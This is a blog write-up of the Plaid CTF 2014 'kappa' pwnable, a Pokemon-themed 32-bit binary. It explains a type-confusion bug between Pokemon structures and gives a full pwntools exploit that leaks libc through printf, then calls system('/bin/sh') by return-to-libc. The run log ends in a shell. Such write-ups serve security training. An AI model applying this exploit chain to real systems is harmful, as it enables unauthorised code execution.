kappa
This chal is also stripped x86 elf.
1 2 | zero@ubuntu:~/Desktop/ctf/plaid2014$ file kappa kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, stripped | cs |
And applied memory protections are...
1 2 3 4 5 6 7 8 | zero@ubuntu:~/Desktop/ctf/plaid2014$ gdb -q ./kappa Reading symbols from ./kappa...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled | cs |
Surely NX is enabled and also ASLR.
Overall explain about this program... just pokemon game!
There are 3 types of pokemons.
- 'Bird Jesus'
- 'Charizard'
- 'Kakuna'
No 1 pokemon ( 'Bird Jesus' ) is basically given, No 2 and 3 can be caught by kind of hunting(?)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | void walk_into_the_tall_grass() { puts("You walk into the tall grass!"); sleep(1u); puts("."); sleep(1u); puts("."); sleep(1u); puts("."); sleep(1u); if ( ++i % 13 ) { if ( i & 1 ) puts("You failed to find any Pokemon!"); else set_pokemons(2); } else { set_pokemons(1); } } | cs |
And player can only have maxinum 5 pokemons.
1 2 3 4 5 6 7 8 9 10 11 12 13 | unsigned int Select_Pokemon() { unsigned int v1; // [sp+18h] [bp-10h]@5 unsigned int i; // [sp+1Ch] [bp-Ch]@1 puts("Choose a Pokemon!"); for ( i = 0; i <= 4 && *(&ptr + i); ++i ) printf("%d. %s\n", i + 1, *(&ptr + i)); v1 = select(); if ( v1 > i ) exit(1); return v1 - 1; } | cs |
when player catches 6th pokemons, player 6th pm(pokemon) has to be replaced with another one.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | puts("Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!"); v8 = Select_Pokemon(); if ( v8 ) { if ( v8 <= 4 ) { free(*(&::ptr + v8)); *(&::ptr + v8) = ptr; } else { puts("Invalid Choice!"); } } | cs |
And problem goes on...
There are 3 types of pokemons but that codes never check TYPE!
As we know, different pokemons, diffenernt structures.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | // - Kakuna int __cdecl Pokemon_State_2(int a1) { printf("Name: %s\n", a1); puts((a1 + 15)); printf("Current Health: %d\n", *(a1 + 0x204)); printf("Attack Power: %d\n", *(a1 + 0x208)); return printf("Attack: %s\n", **(a1 + 0x20C)); } // - Charizard int __cdecl Pokemon_State_3(int a1) { printf("Name: %s\n", a1); puts((a1 + 15)); printf("Current Health: %d\n", *(a1 + 0x5EC)); printf("Attack Power: %d\n", *(a1 + 0x5F0)); return printf("Attack: %s\n", **(a1 + 0x5F4)); } | cs |
0xf ~ 0x204 or 0xf ~ 0x5ec are spaces where each artworks saved.
Anyway, we can overwrite 'Kakuna' with using 'Charizard'.
There is scenario,
First, just catch 4 Kakuna and we got 5 pokemons ( one is Bird Jesus, the others are Kakuna )
Second, just 'walk_into_the_tall_grass' 2 times and run away because of making 'i' to 12 for meeting 'Charizard' next time.
Third, this time we can meet 'Charizard' but before catching it, we need to make 'Charizard's health under 20 for catching.
1 2 3 4 5 | ... puts("You throw a Pokeball!"); if ( health <= 20 ) break; printf("You couldn' t catch %s!\n", buf); | cs |
Forth, replace it to '2' slot.
Fifth, file data what we want in artworks
Then, we can leak any address and exploit using that!
I just use 'printf' to leak address and get libc, system address.
And write "/bin/sh" on 'name'. It would be on ebp + 8.
Final Exploit Codes...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | from time import * from pwn import * def catch_pokemon(): for i in range(4): s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("1") sleep(0.3) s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("1") s.recvuntil("3. Run\n") s.sendline("2") s.recvuntil("What would you like to name this Pokemon?") s.send("A" * 0xe) def run_for_pokemon(): for i in range(2): s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("1") sleep(0.3) s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("1") s.recvuntil("3. Run\n") s.sendline("3") def catch_charizard(): s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("1") s.recvuntil("A wild Charizard appears!") # Attack 4 times to catch 'Charizard' for i in range(4): s.sendline("1") s.recvuntil("Charizard used Blaze. It did 10 damage to Bird Jesus!") # Throw pokeball s.sendline("2") s.recvuntil("What would you like to name this Pokemon?") s.send("%16$x;/bin/sh;".ljust(0xe, "A")) s.recvuntil("Choose a Pokemon!") s.sendline("2") def change_artwork(id, payload): s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("5") s.recvuntil("5. AAAAAAAAAAAAAA\n") s.sendline(str(id)) s.send(payload) def leak_libc(): s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("3") s.recvuntil("Attack: Gust\n") return int(s.recv(8), 16) s = process("./kappa") # catch 4 pocketmons - 5 is maximum catch_pokemon() # run away 2 times for catching 'Charizard' run_for_pokemon() # catch 'Charizard' catch_charizard() # Change Artwork - No.2 pocketmon - for leaking (Size : 0x210 ) payload = "A"*(0x210 - 0xf) payload += p32(0x8048520) # printf payload += "A"*(0x850 - len(payload)) # RET -> printf_plt change_artwork(2, payload) # leak libc address ret_addr = leak_libc() libc_ret = 0x1b23dc libc_system = 0x3ad80 libc = ret_addr - libc_ret system = libc + libc_system print "/********* Stage 1 - Leaking Libc ********" print "[+] libc address : %#x" % libc print "[+] system address : %#x" % system # Change Artwork - No.2 pocketmon - call system() print "/********* Stage 2 - RTL ********" payload = "A"*(0x210 - 0xf) payload += p32(system) payload += "A"*(0x850 - len(payload)) # RET -> system, ebp+8 -> /bin/sh change_artwork(2, payload) # run it! s.recvuntil("5. Change Pokemon artwork\n\n") s.sendline("3") # get Shell! s.interactive() | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | zero@ubuntu:~/Desktop/ctf/plaid2014$ python kappa.py [+] Started program './kappa' /********* Stage 1 - Leaking Libc ******** [+] libc address : 0xf75b3000 [+] system address : 0xf75edd80 /********* Stage 2 - RTL ******** [*] Switching to interactive mode Here are all of the stats on your current Pokemon! Name: Bird Jesus ..-`"-._ ,' ,'`. ,f \ . / ,-'-. ' `. | | , ,'`| `.-. \| | ,.' ,-.\ /| |. ` | /.'"||Y . . |_|U_\.|//_U_||. | | j / . \ |' L / \ .j` . `"`._,--| // \ j `. ,' , \ L ____/ `"' \ L | ,-' ,' \|'-+. / ,' . \ / / ` `. . | j \ \ |F | ' \ . || F | |\| || | | | | || | | | | `.._L | ,' ' . | |,| ,' ` | '||| j/ `.' . ,' / ' \\ `._ ,' / ,' .\ ._ ,' /,' . , .'| \ ( // j_|'_,' | ._'` / `. ' | | | | Y `. ,.__ `; | |-"""^"""' |.--""` ,--\ """ , \ / \ ,- """"---. '.--`v.=:.-' . L."`"'"\ , `.,.._ /`. .L j-"`. `\ j |`. "'--""`-' / |_,' L ,-.| (/`.) `-\.-'\ `-"" `. | l / `-"`-' ` `- mh Current Health: 960 Attack Power: 20 Attack: Gust sh: 1: %16: not found $ id uid=1000(zero) gid=1000(zero) groups=1000(zero) | cs |
'CTFs > Plaid 2014' 카테고리의 다른 글
[Plaid 2014] pwnable : tenement & sass (0) | 2016.08.27 |
---|---|
[Plaid 2014] pwnable : ezhp (0) | 2016.08.27 |
[Plaid 2014] reversing : hudak (0) | 2016.08.27 |
[Plaid 2014] forensic : zfs (0) | 2016.08.27 |
[Plaid 2014] forensic : rsa (0) | 2016.08.27 |